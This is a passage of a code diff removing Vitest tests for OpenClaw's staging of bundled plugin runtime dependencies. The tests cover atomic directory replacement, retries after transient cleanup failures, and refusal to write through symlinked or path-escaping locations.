NodeJS.ErrnoException; - error.code = "ENOTEMPTY"; - throw error; - } - if (String(target) === staleTempDir) { - cleanupAttempts += 1; - } - return realRmSync(target, options); - }); - - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "installed\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(cleanupAttempts).toBe(2); - expect(fs.existsSync(staleTempDir)).toBe(false); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "installed\n", - ); - }); - - it("keeps runtime deps temp dirs owned by a live build process", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const activeTempDir = path.join(pluginDir, ".openclaw-runtime-deps-stage-active"); - fs.mkdirSync(activeTempDir, { recursive: true }); - stageBundledPluginRuntimeDepsTesting.writeRuntimeDepsTempOwner(activeTempDir); - fs.writeFileSync(path.join(activeTempDir, "marker.txt"), "active\n", "utf8"); - - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "installed\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(fs.readFileSync(path.join(activeTempDir, "marker.txt"), "utf8")).toBe("active\n"); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "installed\n", - ); - }); - - it("restores atomically replaced dirs when concurrent cleanup runs during rename failure", () => { - const parentDir = createTempDir("openclaw-runtime-deps-replace-"); - const targetPath = path.join(parentDir, "node_modules"); - const sourcePath = path.join(parentDir, "source-node_modules"); - fs.mkdirSync(targetPath, { recursive: true }); - fs.writeFileSync(path.join(targetPath, "marker.txt"), "original\n", "utf8"); - fs.mkdirSync(sourcePath, { recursive: true }); - fs.writeFileSync(path.join(sourcePath, "marker.txt"), "replacement\n", "utf8"); - - const realRenameSync = fs.renameSync.bind(fs); - let backupPath: string | null = null; - vi.spyOn(fs, "renameSync").mockImplementation((oldPath, newPath) => { - const oldPathString = String(oldPath); - const newPathString = String(newPath); - if ( - oldPathString === targetPath && - path.basename(newPathString).startsWith(".openclaw-runtime-deps-backup-") - ) { - backupPath = newPathString; - return realRenameSync(oldPath, newPath); - } - if (oldPathString === sourcePath && newPathString === targetPath) { - expect(backupPath).not.toBeNull(); - stageBundledPluginRuntimeDepsTesting.removeStaleRuntimeDepsTempDirs(parentDir); - expect(fs.existsSync(path.join(backupPath ?? "", "marker.txt"))).toBe(true); - throw new Error("rename failed after backup"); - } - return realRenameSync(oldPath, newPath); - }); - - expect(() => - stageBundledPluginRuntimeDepsTesting.replaceDirAtomically(targetPath, sourcePath), - ).toThrow("rename failed after backup"); - - expect(fs.readFileSync(path.join(targetPath, "marker.txt"), "utf8")).toBe("original\n"); - expect(fs.existsSync(path.join(targetPath, "owner.json"))).toBe(false); - }); - - it("retries transient backup cleanup during atomic replace", () => { - const parentDir = createTempDir("openclaw-runtime-deps-replace-"); - const targetPath = path.join(parentDir, "node_modules"); - const sourcePath = path.join(parentDir, "source-node_modules"); - fs.mkdirSync(targetPath, { recursive: true }); - fs.writeFileSync(path.join(targetPath, "marker.txt"), "original\n", "utf8"); - fs.mkdirSync(sourcePath, { recursive: true }); - fs.writeFileSync(path.join(sourcePath, "marker.txt"), "replacement\n", "utf8"); - - const realRmSync = fs.rmSync.bind(fs); - let transientFailures = 0; - vi.spyOn(fs, "rmSync").mockImplementation((target, options) => { - const targetString = String(target); - if ( - targetString.includes(`${path.sep}.openclaw-runtime-deps-backup-`) && - transientFailures < 2 - ) { - transientFailures += 1; - const error = new Error("transient backup cleanup failure") as NodeJS.ErrnoException; - error.code = "ENOTEMPTY"; - throw error; - } - return realRmSync(target, options); - }); - - stageBundledPluginRuntimeDepsTesting.replaceDirAtomically(targetPath, sourcePath); - - expect(transientFailures).toBe(2); - expect(fs.readFileSync(path.join(targetPath, "marker.txt"), "utf8")).toBe("replacement\n"); - }); - - it("keeps a successful replacement when backup cleanup hits transient ENOTEMPTY", () => { - const parentDir = createTempDir("openclaw-runtime-deps-replace-cleanup-"); - const targetPath = path.join(parentDir, "node_modules"); - const sourcePath = path.join(parentDir, "source-node_modules"); - fs.mkdirSync(targetPath, { recursive: true }); - fs.writeFileSync(path.join(targetPath, "marker.txt"), "original\n", "utf8"); - fs.mkdirSync(sourcePath, { recursive: true }); - fs.writeFileSync(path.join(sourcePath, "marker.txt"), "replacement\n", "utf8"); - - const realRenameSync = fs.renameSync.bind(fs); - const realRmSync = fs.rmSync.bind(fs); - let backupPath: string | null = null; - vi.spyOn(fs, "renameSync").mockImplementation((oldPath, newPath) => { - const oldPathString = String(oldPath); - const newPathString = String(newPath); - if ( - oldPathString === targetPath && - path.basename(newPathString).startsWith(".openclaw-runtime-deps-backup-") - ) { - backupPath = newPathString; - } - return realRenameSync(oldPath, newPath); - }); - vi.spyOn(fs, "rmSync").mockImplementation((target, options) => { - const targetString = String(target); - if ( - backupPath && - targetString === backupPath && - fs.existsSync(path.join(backupPath, "marker.txt")) - ) { - const error = new Error("Directory not empty") as NodeJS.ErrnoException; - error.code = "ENOTEMPTY"; - throw error; - } - return realRmSync(target, options); - }); - - expect(() => - stageBundledPluginRuntimeDepsTesting.replaceDirAtomically(targetPath, sourcePath), - ).not.toThrow(); - - expect(fs.readFileSync(path.join(targetPath, "marker.txt"), "utf8")).toBe("replacement\n"); - expect(backupPath).not.toBeNull(); - expect(fs.readFileSync(path.join(backupPath ?? "", "marker.txt"), "utf8")).toBe("original\n"); - expect(fs.existsSync(path.join(backupPath ?? "", "owner.json"))).toBe(true); - }); - - it("keeps successful root staging when owned stage temp cleanup races", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - - const realRmSync = fs.rmSync.bind(fs); - let cleanupAttempts = 0; - vi.spyOn(fs, "rmSync").mockImplementation((target, options) => { - const targetString = String(target); - if ( - targetString.startsWith(path.join(pluginDir, ".openclaw-runtime-deps-stage-")) && - cleanupAttempts === 0 - ) { - cleanupAttempts += 1; - const error = new Error("Directory not empty") as NodeJS.ErrnoException; - error.code = "ENOTEMPTY"; - throw error; - } - if (targetString.startsWith(path.join(pluginDir, ".openclaw-runtime-deps-stage-"))) { - cleanupAttempts += 1; - } - return realRmSync(target, options); - }); - - expect(() => stageBundledPluginRuntimeDeps({ cwd: repoRoot })).not.toThrow(); - - expect(cleanupAttempts).toBe(2); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'direct';\n"); - }); - - it("restages when installed root runtime dependency contents change", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'first';\n", "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'first';\n"); - - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'second';\n", "utf8"); - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'second';\n"); - }); - - it("restages when plugin-local installed runtime dependency contents change", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDirectDir = path.join(repoRoot, "node_modules", "direct"); - const sourcePluginDir = path.join(repoRoot, "extensions", "fixture-plugin"); - const pluginDirectDir = path.join(sourcePluginDir, "node_modules", "direct"); - fs.mkdirSync(rootDirectDir, { recursive: true }); - fs.mkdirSync(pluginDirectDir, { recursive: true }); - fs.writeFileSync( - path.join(sourcePluginDir, "package.json"), - '{ "name": "@openclaw/fixture-plugin", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(rootDirectDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(rootDirectDir, "index.js"), "module.exports = 'root';\n", "utf8"); - fs.writeFileSync( - path.join(pluginDirectDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(pluginDirectDir, "index.js"), "module.exports = 'first';\n", "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'first';\n"); - - fs.writeFileSync( - path.join(pluginDirectDir, "index.js"), - "module.exports = 'second';\n", - "utf8", - ); - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'second';\n"); - }); - - it("fingerprints regular files when readdir reports symlink-like entries", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - - const realReaddirSync = fs.readdirSync.bind(fs); - vi.spyOn(fs, "readdirSync").mockImplementation(((target, options) => { - const result = realReaddirSync(target, options as never); - if ( - String(target) !== directDir || - typeof options !== "object" || - options === null || - !("withFileTypes" in options) || - options.withFileTypes !== true - ) { - return result; - } - return (result as fs.Dirent[]).map((entry) => { - if (entry.name !== "package.json") { - return entry; - } - return { - ...entry, - isSymbolicLink: () => true, - isDirectory: () => false, - isFile: () => false, - } as fs.Dirent; - }) as never; - }) as typeof fs.readdirSync); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: () => { - installCount += 1; - throw new Error("unexpected fallback install"); - }, - }); - - expect(installCount).toBe(0); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'direct';\n"); - }); - - it("refuses to replace a symlinked plugin node_modules directory", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const outsideDir = path.join(repoRoot, "outside-node-modules"); - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(directDir, { recursive: true }); - fs.mkdirSync(outsideDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.symlinkSync(outsideDir, nodeModulesDir); - - expect(() => stageBundledPluginRuntimeDeps({ cwd: repoRoot })).toThrow( - /refusing to replace runtime deps via symlinked path/u, - ); - }); - - it("replaces legacy OpenClaw-owned symlinked plugin node_modules", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - const { legacyNodeModulesDir, nodeModulesDir } = writeLegacyRuntimeDepsNodeModulesSymlink({ - pluginDir, - repoRoot, - }); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect(fs.lstatSync(nodeModulesDir).isSymbolicLink()).toBe(false); - expect(fs.readFileSync(path.join(nodeModulesDir, "direct", "index.js"), "utf8")).toBe( - "module.exports = 'direct';\n", - ); - expect(fs.existsSync(path.join(legacyNodeModulesDir, "legacy.js"))).toBe(true); - }); - - it("removes legacy OpenClaw-owned symlinked plugin node_modules when deps converge to empty", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - optionalDependencies: { optional: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootNodeModulesDir = path.join(repoRoot, "node_modules"); - fs.mkdirSync(rootNodeModulesDir, { recursive: true }); - const { legacyNodeModulesDir, nodeModulesDir } = writeLegacyRuntimeDepsNodeModulesSymlink({ - pluginDir, - repoRoot, - }); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect(fs.existsSync(nodeModulesDir)).toBe(false); - expect(fs.existsSync(path.join(legacyNodeModulesDir, "legacy.js"))).toBe(true); - }); - - it("refuses nested symlink targets under the legacy runtime deps root", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const nestedLegacyNodeModulesDir = path.join( - repoRoot, - ".local", - "bundled-plugin-runtime-deps", - "fixture-plugin-1234567890abcdef", - "nested", - "node_modules", - ); - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(directDir, { recursive: true }); - fs.mkdirSync(nestedLegacyNodeModulesDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.symlinkSync(nestedLegacyNodeModulesDir, nodeModulesDir); - - expect(() => stageBundledPluginRuntimeDeps({ cwd: repoRoot })).toThrow( - /refusing to replace runtime deps via symlinked path/u, - ); - }); - - it("refuses to write a runtime deps stamp through a symlink", () => { - const { repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const outsideStamp = path.join(repoRoot, "outside-stamp.json"); - const stampPath = runtimeDepsStampPath(repoRoot); - fs.mkdirSync(directDir, { recursive: true }); - fs.mkdirSync(path.dirname(stampPath), { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync(outsideStamp, '{"outside":true}\n', "utf8"); - fs.symlinkSync(outsideStamp, stampPath); - - expect(() => stageBundledPluginRuntimeDeps({ cwd: repoRoot })).toThrow( - /refusing to write runtime deps stamp via symlinked path/u, - ); - }); - - it("stages runtime deps from the root node_modules when already installed", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDepDir = path.join(repoRoot, "node_modules", "left-pad"); - fs.mkdirSync(rootDepDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDepDir, "package.json"), - '{ "name": "left-pad", "version": "1.3.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(rootDepDir, "index.js"), "module.exports = 1;\n", "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "left-pad", "index.js"), "utf8"), - ).toBe("module.exports = 1;\n"); - expect(fs.existsSync(path.join(pluginDir, ".openclaw-runtime-deps-stamp.json"))).toBe(false); - expect(fs.existsSync(runtimeDepsStampPath(repoRoot))).toBe(true); - }); - - it("removes legacy runtime dependency stamps from dist", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDepDir = path.join(repoRoot, "node_modules", "left-pad"); - const legacyStampPath = path.join(pluginDir, ".openclaw-runtime-deps-stamp.json"); - fs.mkdirSync(rootDepDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDepDir, "package.json"), - '{ "name": "left-pad", "version": "1.3.0" }\n', - "utf8", - ); - fs.writeFileSync(legacyStampPath, '{"legacy":true}\n', "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect(fs.existsSync(legacyStampPath)).toBe(false); - expect(fs.existsSync(runtimeDepsStampPath(repoRoot))).toBe(true); - }); - - it("skips missing optional runtime deps when copying the installed closure", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - optionalDependencies: { missingOptional: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0", "optionalDependencies": { "native-extra": "1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 1;\n", "utf8"); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: () => { - installCount += 1; - }, - }); - - expect(installCount).toBe(0); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 1;\n"); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "missingOptional"))).toBe(false); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "direct", "node_modules", "native-extra")), - ).toBe(false); - }); - - it("prunes staged test cargo from copied runtime dependencies", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(path.join(directDir, "test"), { recursive: true }); - fs.mkdirSync(path.join(directDir, "__snapshots__"), { recursive: true }); - fs.mkdirSync(path.join(directDir, "src"), { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'runtime';\n", "utf8"); - fs.writeFileSync( - path.join(directDir, "test", "index.test.js"), - "module.exports = 'remove';\n", - "utf8", - ); - fs.writeFileSync( - path.join(directDir, "__snapshots__", "index.test.ts.snap"), - "snapshot\n", - "utf8", - ); - fs.writeFileSync( - path.join(directDir, "src", "runtime.spec.js"), - "module.exports = 'remove';\n", - "utf8", - ); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'runtime';\n"); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "direct", "test", "index.test.js")), - ).toBe(false); - expect( - fs.existsSync( - path.join(pluginDir, "node_modules", "direct", "__snapshots__", "index.test.ts.snap"), - ), - ).toBe(false); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "direct", "src", "runtime.spec.js")), - ).toBe(false); - }); - - it("preserves nested runtime dependencies named test or tests", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const nestedTestDir = path.join(directDir, "node_modules", "test"); - const scopedTestsDir = path.join(directDir, "node_modules", "@scope", "tests"); - fs.mkdirSync(nestedTestDir, { recursive: true }); - fs.mkdirSync(scopedTestsDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0", "dependencies": { "test": "^1.0.0", "@scope/tests": "^1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync( - path.join(nestedTestDir, "package.json"), - '{ "name": "test", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(nestedTestDir, "index.js"), "module.exports = 'test';\n", "utf8"); - fs.writeFileSync( - path.join(scopedTestsDir, "package.json"), - '{ "name": "@scope/tests", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(scopedTestsDir, "index.js"), - "module.exports = 'scoped-tests';\n", - "utf8", - ); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync( - path.join(pluginDir, "node_modules", "direct", "node_modules", "test", "index.js"), - "utf8", - ), - ).toBe("module.exports = 'test';\n"); - expect( - fs.readFileSync( - path.join( - pluginDir, - "node_modules", - "direct", - "node_modules", - "@scope", - "tests", - "index.js", - ), - "utf8", - ), - ).toBe("module.exports = 'scoped-tests';\n"); - }); - - it("stages hoisted transitive runtime deps from the root node_modules", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const transitiveDir = path.join(repoRoot, "node_modules", "transitive"); - fs.mkdirSync(directDir, { recursive: true }); - fs.mkdirSync(transitiveDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0", "dependencies": { "transitive": "^1.2.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync( - path.join(transitiveDir, "package.json"), - '{ "name": "transitive", "version": "1.2.3" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(transitiveDir, "index.js"), - "module.exports = 'transitive';\n", - "utf8", - ); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'direct';\n"); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "transitive", "index.js"), "utf8"), - ).toBe("module.exports = 'transitive';\n"); - }); - - it("stages nested dependency trees from installed direct package roots", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const nestedDir = path.join(directDir, "node_modules", "nested"); - fs.mkdirSync(nestedDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0", "dependencies": { "nested": "^1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync( - path.join(nestedDir, "package.json"), - '{ "name": "nested", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(nestedDir, "index.js"), "module.exports = 'nested';\n", "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'direct';\n"); - expect( - fs.readFileSync( - path.join(pluginDir, "node_modules", "direct", "node_modules", "nested", "index.js"), - "utf8", - ), - ).toBe("module.exports = 'nested';\n"); - }); - - it("falls back to install when a dependency tree contains an unowned symlinked directory", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const linkedTargetDir = path.join(repoRoot, "linked-target"); - const linkedPath = path.join(directDir, "node_modules", "linked"); - fs.mkdirSync(path.join(directDir, "node_modules"), { recursive: true }); - fs.mkdirSync(linkedTargetDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync(path.join(linkedTargetDir, "marker.txt"), "first\n", "utf8"); - fs.symlinkSync(linkedTargetDir, linkedPath); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "installed\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "direct", "node_modules", "linked")), - ).toBe(false); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "installed\n", - ); - }); - - it("dedupes cyclic dependency aliases by canonical root", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { a: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootNodeModulesDir = path.join(repoRoot, "node_modules"); - const storeDir = path.join(repoRoot, ".store"); - const aStoreDir = path.join(storeDir, "a"); - const bStoreDir = path.join(storeDir, "b"); - fs.mkdirSync(path.join(aStoreDir, "node_modules"), { recursive: true }); - fs.mkdirSync(path.join(bStoreDir, "node_modules"), { recursive: true }); - fs.writeFileSync( - path.join(aStoreDir, "package.json"), - '{ "name": "a", "version": "1.0.0", "dependencies": { "b": "1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(aStoreDir, "index.js"), "module.exports = 'a';\n", "utf8"); - fs.writeFileSync( - path.join(bStoreDir, "package.json"), - '{ "name": "b", "version": "1.0.0", "dependencies": { "a": "1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(bStoreDir, "index.js"), "module.exports = 'b';\n", "utf8"); - fs.mkdirSync(rootNodeModulesDir, { recursive: true }); - fs.symlinkSync(aStoreDir, path.join(rootNodeModulesDir, "a")); - fs.symlinkSync(bStoreDir, path.join(rootNodeModulesDir, "b")); - fs.symlinkSync(bStoreDir, path.join(aStoreDir, "node_modules", "b")); - fs.symlinkSync(aStoreDir, path.join(bStoreDir, "node_modules", "a")); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "a", "index.js"), "utf8")).toBe( - "module.exports = 'a';\n", - ); - expect( - fs.readFileSync( - path.join(pluginDir, "node_modules", "a", "node_modules", "b", "index.js"), - "utf8", - ), - ).toBe("module.exports = 'b';\n"); - }); - - it("falls back to install when a dependency name escapes node_modules", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "../escape": "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) 